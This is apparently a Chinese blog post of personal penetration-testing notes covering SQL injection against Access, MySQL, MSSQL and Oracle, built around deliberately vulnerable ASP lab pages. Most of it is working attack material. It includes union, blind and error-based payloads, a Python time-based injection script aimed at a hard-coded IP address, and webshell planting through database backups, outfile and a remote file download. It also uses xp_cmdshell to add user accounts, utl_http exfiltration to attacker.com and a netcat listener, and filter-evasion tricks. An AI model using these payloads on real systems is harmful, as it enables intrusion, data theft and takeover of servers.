虽然回家了,但是精神上一直病恹恹的,莫名其妙,搞了一学期的渗透,把经验总结一下,珠海估计去不成了,好好待在家休养生息也好。
首先搭一个简单的环境IIS7+MYSQL+ACCESS+MSSQL
因为装的是64位的win7所以环境配置上有一些麻烦。
ACCESS:(1)修改应用程序池高级设置,启用32为应用程序设置为TRUE (2)C:\Windows\SysWOW64\odbcad32.exe 32位数据源配置程序
MYSQL: (1)安装相应X64驱动即可
MSSQL: (1)在SQL Server Configuration Manager中开启TCP/IP等协议,关闭VIA协议
access "Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;" dBase "Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=------------;" Oracle "Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;" MSSQL server "Driver={sql server};server=servername;database=dbname;uid=sa;pwd=pass;" MS text "Driver={microsoft text driver(*.txt; *.csv)};dbq=-----;extensions=asc,csv,tab,txt;Persist SecurityInfo=false;" Visual Foxpro "Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;" MySQL "Driver={mysql};database=yourdatabase;uid=username;pwd=yourpassword;option=16386;"
access "Provider=microsoft.jet.oledb.4.0;data source=your_database_path;user id=admin;password=pass;" Oracle "Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;" MS SQL Server "Provider=SQLOLEDB;data source=machinename;initial catalog=dbname;userid=sa;password=pass;" MS text "Provider=microsof.jet.oledb.4.0;data source=your_path;Extended Properties'text;FMT=Delimited'"
<% dim db const DatabaseType="ACCESS" db="Database.accdb" dim ConnStr dim conn ConnStr = "provider=microsoft.ace.oledb.12.0;Data Source=" & Server.MapPath(db) Set conn = Server.CreateObject("ADODB.Connection") conn.Open connstr id =request("id") set rs=server.CreateObject("adodb.recordset") sql="select * from [user] where id=" & id response.write sql & "<br>" rs.open sql,conn,1,1 do while not rs.eof response.write rs("id") response.write rs("name") response.write rs("pass") response.write "<br>" rs.movenext loop conn.close set rs=nothing set conn=nothing %>
ordor by n
sql="select id,title,author from [word] where id=" & id如果是这样,将是表的真正字段数
sql="select * from [word] where id=" & id但是,union的利用只需要知道语句中涉及的字段数,并不需要表的真正的字段数
union select * from haha in '.' Microsoft Office Access 数据库引擎无法打开文件“C:\Windows\SysWOW64\inetsrv”或无法向其写入数据。它已经被其他用户以独占方式打开,或者您没有查看或写入其数据的权限。 union select * from haha in 'c:\1.txt' 不可识别的数据库格式 'c:\1.txt'。 union select * from haha in 'c:\2.txt' 找不到文件 'c:\2.txt'。
and (select count(id) from [user])>0 and (select top 1 len(id) from [user] where id not in (1))>0 and (select top 1 asc(mid(user,1,1)) from [user] where id not in (1))>0
select * from [word] where id=1 union select 1,2,3,4,5,* from [user]可以使用内联查询来加大user表中字段的覆盖范围
select * from [word] where id=1 union select 1,2,* from ([user] as a inner join [user] as b on a.id=b.id)下面就是偏移注入的精髓,加入a.id 和 b.id 两个字段,来打乱后面的位置,使一些关键的字段更容易显示出来,
select * from [word] where id=1 union select a.id,b.id,1,2,* from ([user] as a inner join [user] as b on a.id=b.id)由此看来,偏移注入的局限是很大的,但也不失是一种方法。
group by 1 试图执行的查询中不包含作为聚合函数一部分的特定表达式 'id' group by id 试图执行的查询中不包含作为聚合函数一部分的特定表达式 'title' group by id,title 试图执行的查询中不包含作为聚合函数一部分的特定表达式 'author'原理是这样,使用group by的时候一般需要聚合函数,比如sum()来搭配,程序会按照自前向后来搜索没出现在group by之中的字段,并报错。
having sum(1)=1 试图执行的查询中不包含作为聚合函数一部分的特定表达式 'ID'
http://www.myhack58.com/Article/html/3/7/2009/25454.htm
select * from [word] where id=1 union select * from [ODBC;Driver=SQLServer;UID=sa;PWD=nihaoa;Server=127.0.0.1;DataBase=master].information_schema.tables
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode 默认是2.微软关于这个键值的介绍为: 0为在任何所有者中中都禁止起用安全设置, (在此模式下,可移执行函数) 1为仅在允许的范围之内, 2则是必须是Access的模式下, 3则是完全开启,连Access中也不支持.Access也能执行系统命令可执行文件将以IIS匿名账户运行
and 1=2 union select curdir() from msysaccessobjects and 1=2 union select dir('c:\ ') from msysaccessobjects union select environ(1) from msysaccessobjects union select filedatetime('c:\boot.ini') from msysaccessobjects union select filelen('c:\boot.ini') from msysaccessobjects union select getattr('c:\ ') from msysaccessobjects union select shell('') from msysaccessobjects
<% dim myHost,myDB,myUID,myPWD myHost = "localhost" myDB = "test" myUID = "root" myPWD = "nihaoa" myChareSet = "gb2312" strconnection="driver={mysql odbc 3.51 driver};server=" & myHost & ";database=" & myDB & ";user name=" & myUID & ";password=" & myPWD set conn = server.createobject("adodb.connection") conn.open strconnection set rs=server.CreateObject("adodb.recordset") sql="select * from user;" rs.open sql,conn,1,1 do while not rs.eof response.write rs("id") response.write rs("name") response.write rs("pass") response.write "<br>" rs.movenext loop conn.close set rs=nothing set conn=nothing %>
convert(@@version using latin1) unhex(hex(@@version))
insert into app (name,`key`,secret,status) values ('aa','bb',null,2);
mysql> SELECT 1+"1"; -> 2 mysql> SELECT CONCAT(2,' test'); -> '2 test'
mysql> select SUBSTRING('Quadratically',5,6); -> 'ratica'
mysql> slect length('aaa') -> 3
mysql> select ASCII('2'); -> 50CHAR()将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。NULL值被跳过。
mysql> select CHAR(77,121,83,81,'76'); -> 'MySQL' mysql> select CHAR(77,77.3,'77.3'); -> 'MMM'LOCATE(substr IN str)
mysql> select LOCATE('bar', 'foobarbar'); -> 4 mysql> select LOCATE('xbar', 'foobar'); -> 0http://www.cnblogs.com/xiaochaohuashengmi/archive/2010/12/13/1904330.html
id=1 union select 1,BenchMark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
make_set(1=1,sleep(10000000000),1)
from httplib import HTTPConnection HTTPConnection._http_vsn_str = 'HTTP/1.0' def post_payload( payload ): conn = HTTPConnection( '78.38.193.187' ) conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'Content-Type', 'application/x-www-form-urlencoded' ) conn.putheader( 'Content-Length', str(len(payload)) ) conn.endheaders( message_body=payload ) resp = conn.getresponse() resp.read() from urllib import urlencode from time import time def get_bool( expression ): start = time() post_payload( urlencode( dict( login = '', user_password = ' ', user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression, ) ) ) end = time() print 'Time:', end-start return end-start>0.95 def get_bit( expression ): return '1' if get_bool( expression ) else '0' from itertools import count def get_string( expression ): result = '' for i in count( start=1 ): char = '' for j in range(8)[::-1]: print 'Byte %d, Bit %d,' % (i,j), bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) ) print bit char += bit char = int( char, 2 ) if char == 0: break result += chr(char) return result # def get_query( expression ): # print get_string( 'database()' ) print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' ) # print get_string( 'user()' ) # print get_string( 'version()' )
http://www.4ngel.net/article/49.htm
使用sleep函数可以让数据库阻塞,大体语句如下,之后的mysql请求会被阻塞,直到杀死这条语句。
update test_inj set xx=1 and sleep(9999999999);
order by if (ascii(left(user(),1))=107,1,2)
order by case when (ascii(left(user(),1))=107 ) then id else null end盲注的时候至少要知道一个字段。
order by 1 and (ascii(left(user(),1))=107)或者,这样在有些情况下也是可以的
order by xxxxxx, (ascii(left(user(),1))=107)
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.一般语句是这样构造的,一般为了方便把想要爆出的数据
mysql> select * from article where id = 1 and (select 1 from( select count(*),concat( (select pass from admin where id =1), floor(rand(0)*2) )x from information_schema.tables group by x )a ); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'简化了一下,语句as 是别名的语法,其中as可以省略。
select * from te where (select 1 from( select count(*),concat( version(), floor(rand(0)*2) ) as x from information_schema.tables group by x ) as a );
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: '\admin888'UpdateXml
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, (select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
Site:xxx.edu.tw warning Site:xxx.com.tw “fatal error”
如果使用load_file 包含的文件过大,也有可能引发错误爆出绝对路径。比如包含cmd.exe
select load_file('c:\\2.txt'); select * from user into outfile 'c:\\2.txt';
select * from te into dumpfile 'c:\\2.php'
mysql>create table a (cmd text); mysql>load data infile 'c:\\boot.ini' into table a; mysql>select * from a;
select * from user where id=1 and 2=1 union select '一句话' into outfile 'c:\\2.txt';
select hex(load_file('c:\\2.txt')); select hex(load_file(0x2f)); select hex(load_file(char(10,10,10,10)));
http://blog.csdn.net/wangyi_lin/article/details/9286937#t4
database() schema() version() user() session_user() current_user() current_user system_user() host_name()
@@version @@global.version_compile_os @@HOSTNAME @@servername
union select schema_name,1,2 from information_schema.schemata union select table_name,1,2 from information_schema.tables where locate(table_name,'user')>0 and table_schema='user' and table_name not in ('abc') union select column_name,1,2 from information_schema.columns where locate(column_name,'name')>0 and table_schema='user'and table_name='test'
union all select 1,column_name,3 from information_schema.columns limit 0,1 union all select 1,column_name,3 from information_schema.columns limit 1,1 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1
union select 1,user,password from mysql.userselect host,db,name from mysql.db;
and (select count(*) from user)>0 and (select count(pass) from user)>0 and ascii(substring((select pass from user limit 0,1),1,1)) >0文艺盲主语句
and (select 1 from users limit 0,1)=1 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
<% MM_conn_STRING = "Driver={SQL Server};server=(local);uid=sa;pwd=nihaoa;database=test;" Set conn = Server.Createobject("ADODB.Connection") conn.open MM_conn_STRING id =request("id") set rs=server.CreateObject("adodb.recordset") sql="SELECT * FROM [user] where id=" & id rs.open SQL,conn,1,1 do while not rs.eof response.write rs("id") response.write rs("name") response.write rs("pass") response.write "<br>" rs.movenext loop conn.close set rs=nothing set conn=nothing %>
http://localhost/mssql.asp?id=1;insert%20into%20[user]%20values(3,'haha','wawa')#
select union null,null,null
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots'
1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);-- 3.进行差异备份 backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;-- 上面 0x3C25657865637574652872657175657374282261222929253E 就是一句话木马的内容:<%execute(request("a"))%>
';alter database null set RECOVERY FULL-- 把指定的数据库激活为还原模式 ';create table cmd (a image)-- ';backup log null to disk = 'f:\cmd' with init-- ';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- ';backup log null to disk = '备份路径'-- ';drop table cmd-- ';alter database XXX set RECOVERY SIMPLE--PS:0x3C2565786563757465287265717565737428226122292
select @@ERROR --返回最后执行的 Transact-SQL 语句的错误代码(integer) select @@SERVERNAME --返回运行SQL服务器名称。 select @@SERVICENAME --返回SQL正在其下运行的注册表键名 select @@LANGUAGE --返回当前使用的语言名 select @@version; select user; select db_name;
select USER_NAME() --返回用户数据库用户名 select GETDATE() --当前时间 EXEC sp_configure --显示当前服务器的全局配置设置 select IS_SRVROLEMEMBER('sysadmin') --查看用户权限 权限种类sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'开启存储过程
exec sp_configure 'show advanced option', 1; reconfigure; exec sp_configure 'xp_cmdshell' , 1; reconfigure;运行cmd指令
exec master..xp_cmdshell "net user wyl 123 /add";移除存储过程的方法
exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree恢复存储过程的方法
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll'详细http://blog.csdn.net/gz775/article/details/6329817
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- ;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
declare @directory varchar(200) EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\APPLICATION\SOME_MORE', @value_name='DIRECTORY_VALUE', @value= @DIRECTORY OUTPUT; select @directory可以用来查询超级终端的端口
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("net user test test /add")')
http://127.0.0.1/xxx.asp?id=123';exec sp_makewebtask 'd:\www\xxx\xxx.asp',' select ''<%execute(request("cn"))%>'' ';--这个存储过程默认也是不开启的,开启方式与xp_cmdshell相同
exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addlogin test,sysadmin
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT EXEC sp_oacreate [Microsoft.XMLHTTP],@http output EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down output EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1即可下载文件:http://www.test.com/muma.txt的内容到e:\www_iis\muma.asp成功写入一个webshell
;exec master..xp_servicecontrol 'stop','schedule' //停止计划任务服务 ;exec master..xp_servicecontrol 'start','schedule' ;exec master..xp_servicecontrol 'start','server' //启动server服务
union all select 1,'2','3' from sysobjects where charindex('admin',name)>0 and xtype='U' union all select 1,'2','3' from syscolumns where id=object_id('t_zxdc_Admins')--
and (select count(pass) from [user])>0 and (select count(*) from [user])>0 and substring((select top 1 pass from [user] ),1,1)>'0'
select 123 from dual
nuion select null,null,null from dual
oracle不支持limit,支持一个很奇怪的rownum
SQL> select test.*,rownum from test; TIME ROWNUM ---------- ---------- 123 1 123 2 123 3 123 4 123 5如果要确定输出第几个记录的话不能直接使用rownum>xxx
SQL> select * from (select test.*,rownum from test) where rownum>2; 未选定行需要蛋疼的试用一下这个
SQL> select * from (select test.*,rownum as ron from test) where ron>2; TIME RON ---------- ---------- 123 3 123 4 123 5
SQL> select upper('abc') from test; UPPER( ------ ABCInitcap(string)这个函数把首字母转换成大写
SQL> select initcap('abc') from test; INITCA ------ AbcLength(string)统计字符串长度
SQL> select length('abc') from test; LENGTH('ABC') ------------- 3Substr(string,start [,count])子字符串
SQL> select substr('abcdefg',2,2) from test; SUBS ---- bcInstr(string,set[,start [,occurrence ] ] )查找子字符串
SQL> select instr('abcdaeafg','a',2,2) from test; INSTR('ABCDAEAFG','A',2,2) -------------------------- 7Chr() Ascii()这两个函数基本大家都有
SQL> select ascii('F') from test; ASCII('F') ---------- 70 SQL> select chr(70) from test; CH -- FConcat(string,string)链接两个字符串,也可以使用 || 来替代,这一点是oracle独有的
SQL> select concat('a','b') from dual; CONC ---- ab SQL> select 'a'||'b' from dual; 'A'| ---- ab
SQL> select member from v$logfile; MEMBER -------------------------------------------------------------------------------- C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_2_93DVJTM1_.LOG C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_1_93DVJPM1_.LOG
SQL> select distinct owner from all_tables; OWNER ------------------------------------------------------------ MDSYS OUTLN CTXSYS HR FLOWS_FILES SYSTEM APEX_040000 XDB SYS
select global_name from global_name; -- current database select sys.database_name from dual; -- current database select name from v$database; -- current database name , need privs select instance_name from v$instance; -- current database name , need privs
SQL> select table_name from sys.user_tables where table_name like '%TEST%'; TABLE_NAME ------------------------------------------------------------ TEST字段的查询也大同小异
SQL> select column_name from sys.user_tab_columns where table_name='TEST' and column _name like '%TIME%'; COLUMN_NAME ------------------------------------------------------------ TIME
SQL> select user from dual; USER -------------------------------------------------- SYS
select user from dual; -- current user select username from user_users; -- current user select username from all_users; -- all user , the current user can see... select username from dba_users; -- all user , need pris
select name, password, astatus from sys.user$; -- password hash <=10g , need privs select name, password, spare4 from sys.user$; -- password has 11g , need privs
select privilege from user_sys_privs; -- privs the current user has select privilege from role_sys_privs; -- privs the current role has select privilege from session_privs; -- the all privs that current user has = user_sys_privs + role_sys_privs select * from dba_sys_privs; -- all user's privs , need privs
SQL> select banner from sys.v_$version where rownum=1; BANNER -------------------------------------------------------------------------- Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production SQL> select banner from sys.v_$version; BANNER -------------------------------------------------------------------------- Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production PL/SQL Release 11.2.0.2.0 - Production CORE 11.2.0.2.0 Production TNS for 32-bit Windows: Version 11.2.0.2.0 - Production NLSRTL Version 11.2.0.2.0 - Production获取服务器内网IPget_host_name则是获取主机名
SQL> select utl_inaddr.get_host_address from dual; GET_HOST_ADDRESS -------------------------------------------------------------------- 192.168.0.110 SQL>使用SYS_CONTEXT这个函数可以取得很多的系统变量
SQL> select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual; SYS_CONTEXT('USERENV','CURRENT_USER') -------------------------------------------------------------------- SYS其他很多不一一测试
SYS_CONTEXT(‘USERENV’,’TERMINAL’) terminal, SYS_CONTEXT(‘USERENV’,’LANGUAGE’) language, SYS_CONTEXT(‘USERENV’,’SESSIONID’) sessionid, SYS_CONTEXT(‘USERENV’,’INSTANCE’) instance, SYS_CONTEXT(‘USERENV’,’ENTRYID’) entryid, SYS_CONTEXT(‘USERENV’,’ISDBA’) isdba, SYS_CONTEXT(‘USERENV’,’NLS_TERRITORY’) nls_territory, SYS_CONTEXT(‘USERENV’,’NLS_CURRENCY’) nls_currency, SYS_CONTEXT(‘USERENV’,’NLS_CALENDAR’) nls_calendar, SYS_CONTEXT(‘USERENV’,’NLS_DATE_FORMAT’) nls_date_format, SYS_CONTEXT(‘USERENV’,’NLS_DATE_LANGUAGE’) nls_date_language, SYS_CONTEXT(‘USERENV’,’NLS_SORT’) nls_sort, SYS_CONTEXT(‘USERENV’,’CURRENT_USER’) current_user, SYS_CONTEXT(‘USERENV’,’CURRENT_USERID’) current_userid, SYS_CONTEXT(‘USERENV’,’SESSION_USER’) session_user, SYS_CONTEXT(‘USERENV’,’SESSION_USERID’) session_userid, SYS_CONTEXT(‘USERENV’,’PROXY_USER’) proxy_user, SYS_CONTEXT(‘USERENV’,’PROXY_USERID’) proxy_userid, SYS_CONTEXT(‘USERENV’,’DB_DOMAIN’) db_domain, SYS_CONTEXT(‘USERENV’,’DB_NAME’) db_name, SYS_CONTEXT(‘USERENV’,’HOST’) host, SYS_CONTEXT(‘USERENV’,’OS_USER’) os_user, SYS_CONTEXT(‘USERENV’,’EXTERNAL_NAME’) external_name, SYS_CONTEXT(‘USERENV’,’IP_ADDRESS’) ip_address, SYS_CONTEXT(‘USERENV’,’NETWORK_PROTOCOL’) network_protocol, SYS_CONTEXT(‘USERENV’,’BG_JOB_ID’) bg_job_id, SYS_CONTEXT(‘USERENV’,’FG_JOB_ID’) fg_job_id, SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_TYPE’) authentication_type, SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_DATA’) authentication_data
SQL> select * from session_privs; PRIVILEGE ------------------------------------------------------------------------ ALTER SYSTEM AUDIT SYSTEM CREATE SESSION ALTER SESSION RESTRICTED SESSION CREATE TABLESPACE ALTER TABLESPACE MANAGE TABLESPACE DROP TABLESPACE UNLIMITED TABLESPACE CREATE USER
SQL> select utl_inaddr.get_host_name((select user from dual)) from dual; select utl_inaddr.get_host_name((select user from dual)) from dual * 第 1 行出现错误: ORA-29257: 未知的主机 SYS ORA-06512: 在 "SYS.UTL_INADDR", line 4 ORA-06512: 在 "SYS.UTL_INADDR", line 35 ORA-06512: 在 line 1
SQL> select utl_inaddr.get_host_address() from dual; UTL_INADDR.GET_HOST_ADDRESS() -------------------------------------------------------------------------- 192.168.0.110 SQL> select utl_inaddr.get_host_address('www.baidu.com') from dual; UTL_INADDR.GET_HOST_ADDRESS('WWW.BAIDU.COM') -------------------------------------------------------------------------- 61.135.169.105UTL_HTTP.REQUEST
SQL> select sum(length(utl_http.request('http://attacker.com/'))) from dual; SUM(LENGTH(UTL_HTTP.REQUEST('HTTP://ATTACKER.COM/'))) ----------------------------------------------------- 1997也可以构造一个包含信息的url,之后在log中寻找,或者直接在nc中获取,这样的话orcale会等待Nc作出响应,这里也可以用做拒绝访问攻击。
C:\>nc.exe -l -p 888 GET /SYS HTTP/1.1 Host: 127.0.0.1:888 Connection: closeSQL
SQL> select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual )))) from dual; select sum(length(utl_http.request('127.0.0.1:888/'||(select user from dual)))) from dual * 第 1 行出现错误: ORA-29273: HTTP 请求失败 ORA-06512: 在 "SYS.UTL_HTTP", line 1722 ORA-29259: 已达到输入的末尾 ORA-06512: 在 line 1utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address由于11g的安全特性无法继续使用
http://www.it28.cn/heikejiaocheng/381944.html
select/**/*/**/from/**/te/**/order/**/by/**/1;
/*!select*//**/*/**//*!from*//**//*!te*/;mysql保持这种奇怪的语法,是为了兼容性,因为mysql的一些扩展功能,其他数据库不支持,放在/*!*/中自己执行别人不执行。
select * from te where `id`=@`'` union select @`'`,2,3,4 from te;有的时候字段要求Not Null需要这样构造
select * from te where `2`=1 union select char(@`'`),2,3,4 from te;
select(1),(2)union(select(2),(3)from(information_schema))如果是高版本,可以使用一些蛋疼的字符来替代空格
RDBMS Allowed whitespaces SQLite 3 0A, 0D, 0C, 09, 20 MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 MSSQL 2008 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 Table 8: Valid whitespaces allowed in different RDBMS.
https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf
MySQL SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x MSSQL SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') PostgreSQL SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM pg_stat_user_tables) AS tables LIMIT 1; Oracle SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM users; Table 5: Different queries which retrieve multiple table & column entries with a single request.
mysql> select 1--1--2; +---------+ | 1--1--2 | +---------+ | 4 | +---------+ 1 row in set (0.00 sec)
where id='xxxxxx' and name='xxxxxx'我们可以构造这样的注入语句使查询语句变成where id='xxxxx\' and name=' union select xxxxx #'比如htmlentities()这个函数就不会过滤反斜杠,但是谁会用它来做SQL注入的过滤那····:(
mysql> insert into test values('admin x'); Query OK, 1 row affected, 1 warning (0.03 sec)而在where比较的时候mysql是忽略空格的,这个技巧可以用来注册相同名字的用户
User-Agent:Baiduspider